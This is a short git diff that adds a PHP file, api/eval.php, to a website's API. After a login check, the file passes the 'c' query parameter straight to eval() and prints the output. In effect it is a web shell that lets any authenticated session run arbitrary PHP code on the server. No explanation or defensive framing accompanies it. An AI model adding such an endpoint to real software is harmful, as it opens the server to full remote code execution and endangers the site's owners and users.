diff options
Diffstat (limited to 'api/eval.php')
-rw-r--r-- | api/eval.php | 12 |
1 files changed, 12 insertions, 0 deletions
diff --git a/api/eval.php b/api/eval.php new file mode 100644 index 0000000..4270ed1 --- /dev/null +++ b/api/eval.php @@ -0,0 +1,12 @@ +<?php + +require_once $_SERVER['DOCUMENT_ROOT'] . "/includes/session.php"; global $isLoggedIn; +if (!$isLoggedIn) header("Location: /-/login") and die(); + +header("Content-Type: text/plain"); + +if (isset($_GET["c"])) { + var_dump(eval($_GET['c'])); +} else { + die(); +}
\ No newline at end of file |